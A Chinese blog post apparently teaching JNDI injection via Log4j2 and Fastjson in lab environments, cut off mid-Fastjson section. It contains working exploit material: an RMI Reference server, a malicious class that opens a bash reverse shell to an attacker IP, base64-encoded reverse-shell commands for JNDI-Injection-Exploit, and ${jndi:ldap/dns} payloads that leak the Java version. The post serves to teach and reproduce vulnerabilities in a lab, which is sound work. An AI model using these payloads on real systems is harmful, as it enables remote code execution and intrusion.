文章目录
- 前言
- JNDI注入
- 基础介绍
- 靶场搭建
- 漏洞验证
- 注入工具
- log4j RCE
- 漏洞分析
- 漏洞靶场
- 检测工具
- 补丁绕过
- Fastjson RCE
- 漏洞分析
- 漏洞靶场
- 检测工具
- 补丁绕过
- 总结
前言
接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。
JNDI注入
JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。
基础介绍
JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。
通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。
JNDI API 支持的相关协议信息如下:
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
【RMI 协议】
JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。
RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。
Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。
JAVA RMI简单示例
本示例是client端调用server端远程对象的加减法方法,具体步骤为:
1、定义一个远程接口
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* 必须继承Remote接口。
* 所有参数和返回类型必须序列化(因为要网络传输)。
* 任意远程对象都必须实现此接口。
* 只有远程接口中指定的方法可以被调用。
*/
public interface IRemoteMath extends Remote {
// 所有方法必须抛出RemoteException
public double add(double a, double b) throws RemoteException;
public double subtract(double a, double b) throws RemoteException;
}
2、远程接口实现类
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;
/**
* 服务器端实现远程接口。
* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。
*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {
private int numberOfComputations;
protected RemoteMath() throws RemoteException {
numberOfComputations = 0;
}
@Override
public double add(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = " + numberOfComputations);
return (a+b);
}
@Override
public double subtract(double a, double b) throws RemoteException {
numberOfComputations++;
System.out.println("Number of computations performed so far = " + numberOfComputations);
return (a-b);
}
}
3、服务器端
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
/**
* 创建RemoteMath类的实例并在rmiregistry中注册。
*/
public class RMIServer {
public static void main(String[] args) {
public static String HOST = "127.0.0.1";
public static int PORT = 8089;
public static String RMI_PATH = "/math";
public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;
try {
// 注册RMI端口
LocateRegistry.createRegistry(PORT);
// 创建一个服务
IRemoteMath remoteMath = new RemoteMath();
// 服务命名绑定
Registry registry = LocateRegistry.getRegistry();
registry.bind(RMI_NAME, remoteMath);
System.out.println("Math server ready");
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面例子中的 RMI 服务绑定是本地的类。
另外一种 RMI 服务端代码写法(下文 JNDI 实践的“漏洞验证”章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):
public class Main {
public static void main(String[] args) {
try{
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://192.168.0.120:8081/";
// Reference 需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
Reference reference = new Reference("evil", "EvilShell", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("getShell", referenceWrapper);
System.out.println("Hello world!");
}catch (Exception e){
e.printStackTrace();
}
}
}
其中 "http://192.168.0.120:8081/”为一个存放了恶意类 class 文件的 http 服务地址:
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;
public class EvilShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference()
获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。
在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:
- className:远程加载时所使用的类名;
- classFactory:加载的 class 中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;
通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。
4、客户端代码
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;
public class MathClient {
public static void main(String[] args) {
try {
// 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/math
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8089);
// 从Registry中检索远程对象的存根/代理
IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");
// 调用远程对象的方法
double addResult = remoteMath.add(5.0, 3.0);
System.out.println("5.0 + 3.0 = " + addResult);
double subResult = remoteMath.subtract(5.0, 3.0);
System.out.println("5.0 - 3.0 = " + subResult);
}catch(Exception e) {
e.printStackTrace();
}
}
}
结果如下:
客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
public class testClient {
public static void main(String[] args) throws Exception{
//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常
//Properties env = new Properties();
//env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
// 创建初始化环境
Context ctx = new InitialContext();
// jndi的方式获取远程对象
IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");
//ctx.lookup("ldap://localhost:8088/EvilObj");
// 调用远程对象的方法
System.out.println(remoteMath.add(5.0, 3.0));
}
}
【JNDI注入】
JNDI 注入指的是:
- 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
- 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。
JNDI 注入缺陷特征:
- 客户端的 lookup() 方法参数可控;
- 服务端在使用 Reference 时,classFactoryLocation 参数可控
上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行
JNDI 注入利用流程:
- 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
- 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
- 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
- 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
- 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。
靶场搭建
靶场环境:Hello-Java-Sec
JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java
/**
* lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。
* lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
* payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1
* PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi
*/
@ApiOperation(value = "vul:JNDI注入")
@GetMapping("/vul")
public String vul(String content) {
log.info("[vul] JNDI注入:" + content);
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
return "JNDI注入";
}
【自建 Docker 容器】
Ubuntu 虚拟机中,创建 Dockerfile 文件如下:
# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]
在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:
test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest
---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai
---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5
---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
---> Running in 1739257a2432
Removing intermediate container 1739257a2432
---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar
---> a81924fb1a42
Step 5/6 : EXPOSE 8888
---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d
---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]
---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39
---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker-demo latest 31ddaf9657fd 36 seconds ago 729MB
……
test@ubuntu:~/Downloads/Hello-Java-Sec$
运行镜像:
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ef4178ffc31f docker-demo "java -jar /tmp/java…" 6 minutes ago Up 6 minutes 0.0.0.0:8888->8888/tcp, :::8888->8888/tcp dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
#
# ps -ef|grep java
root 1 0 54 17:07 ? 00:00:16 java -jar /tmp/javasec1.11.jar
root 62 40 0 17:08 pts/0 00:00:00 grep java
#
然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)……
【More】
可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:
mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec
存在的问题:
解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:
成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8(“1.8.0_111”),方便漏洞利用和复现):
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
Install the buildx component to build images with BuildKit:
https://docs.docker.com/go/buildx/
Sending build context to Docker daemon 93.4MB
Step 1/6 : FROM java:8
---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp
---> Using cache
---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar
---> 827b8c11311e
Step 4/6 : EXPOSE 8888
---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88
---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'
---> Running in 571fa29af378
Removing intermediate container 571fa29af378
---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]
---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6
---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
65aba6a67d1d javasec "java -Djava.securit…" 44 seconds ago Up 43 seconds 0.0.0.0:80->8888/tcp, :::80->8888/tcp zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41589 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
访问宿主机的 80 端口接口即可:
漏洞验证
Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:
Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Main {
public static void main(String[] args) {
try{
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://192.168.0.120:8081/";
// Reference 需要传入三个参数 (className,factory,factoryLocation)
// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址
Reference reference = new Reference("evil", "EvilShell", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("getShell", referenceWrapper);
System.out.println("Hello world!");
}catch (Exception e){
e.printStackTrace();
}
}
}
同时创建一个恶意 Java 类,用于“远程”加载后执行恶意代码:
// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;
public class EvilShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:
在 Kali 攻击机(192.168.0.114)监听 6666 端口:
IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:
成功加载远程恶意类,并反弹 shell:
【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?
直接试一下:
注入失败:
注入工具
JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit。
先对 Payload 进行 base64 编码:
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx
然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"
-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:
成功反弹 Shell 到 Kali 攻击机:
显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。
log4j RCE
2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称“史诗级核弹漏洞”。
漏洞信息 | |
---|---|
漏洞名称 | Apache log4j 远程代码执行漏洞 |
漏洞编码 | CVE-2021-44228 |
漏洞危害 | 严重 |
漏洞时间 | 2021/12/10 |
受影响版本 | Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1 |
利用难度 | 低 |
POC | 已知 |
EXP | 已知 |
漏洞分析
Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
IDEA 安全告警提示存在组件漏洞:
本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。
log4j 的 Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:
private static final Logger logger = (Logger) LogManager.getLogger();
public static void main(String[] args) {
logger.error("Get: {}", "${java:os}");
logger.error("${java:runtime}");
}
输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:
而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:
logger.info("${jndi:rmi://127.0.0.1:1099/calc}");
动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
:
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
...
} else {
...
}
}
我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${
则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime}
。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${
就可以。
继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup
:
可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。
可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup
,可以看到 JNDI 注入的 sink 点:
漏洞靶场
https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java
@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {
private static final Logger logger = LogManager.getLogger(Log4jVul.class);
/**
* 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。
* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP
*
* content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}
*/
@PostMapping(value = "/vul")
public String vul(@RequestParam("q") String q) {
System.out.println(q);
logger.error(q);
return "Log4j2 JNDI Injection";
}
}
同样对 Payload 进行 Base64 编码:
bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx
接着一键搭建 RMI 与 ldap 服务,远程调用成功:
成功反弹 Shell:
【DNSLog 检测】
建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。
${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}
成功访问 DNS 服务器并获得目标服务器 java 版本信息:
【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:
检测工具
发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞…Xray 社区版也是。
- https://github.com/whwlsfb/Log4j2Scan;
- https://github.com/fullhunt/log4j-scan;
可能靶场环境的问题??
建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
补丁绕过
2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。
【临时处置】
言归正传,当时的部分临时处置方案如下:
- 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
- 修改配置文件 log4j2.formatMsgNoLookups=True;
- 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
- 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
- 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;
【安全补丁】
在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。
JndiManager.lookup
方法中对 JNDI 协议、主机名、类名进行了白名单校验:
但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞。
【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta’s Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。
Fastjson RCE
前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。
漏洞分析
Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。
Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject 或者 JSON.parse
来看看具体如何使用,先给自己的 Maven 项目添加依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:
package com.tr0e.sec.Entity;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {
private String name;
private int age;
}
接着看下 Fastjson 的序列化和反序列化的示例代码:
//创建一个Java Bean对象
Person person = new Person();
person.setName("Tr0e");
person.setAge(18);
System.out.println("--------------序列化-------------");
//将其序列化为JSON
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);
System.out.println("-------------反序列化-------------");
//使用parse方法,将JSON反序列化为一个JSONObject
Object o1 = JSON.parse(JSON_Serialize);
System.out.println(o1.getClass().getName());
System.out.println(o1);
System.out.println("-------------反序列化-------------");
//使用parseObject方法,将JSON反序列化为一个JSONObject
Object o2 = JSON.parseObject(JSON_Serialize);
System.out.println(o2.getClass().getName());
System.out.println(o2);
System.out.println("-------------反序列化-------------");
//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
输出结果如下所示:
--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)
可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。
【AutoType 特性】
阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。
注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName
,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type
字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。
public static void main(String[] args) {
Person person = new Person();
person.setName("Tr0e");
person.setAge(18);
System.out.println("--------------序列化-------------");
String typeJson = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(typeJson);
